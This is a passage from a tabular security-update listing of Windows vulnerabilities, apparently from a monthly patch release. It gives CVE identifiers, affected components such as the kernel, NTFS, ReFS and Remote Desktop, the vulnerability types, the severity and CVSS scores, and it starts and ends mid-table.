Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege 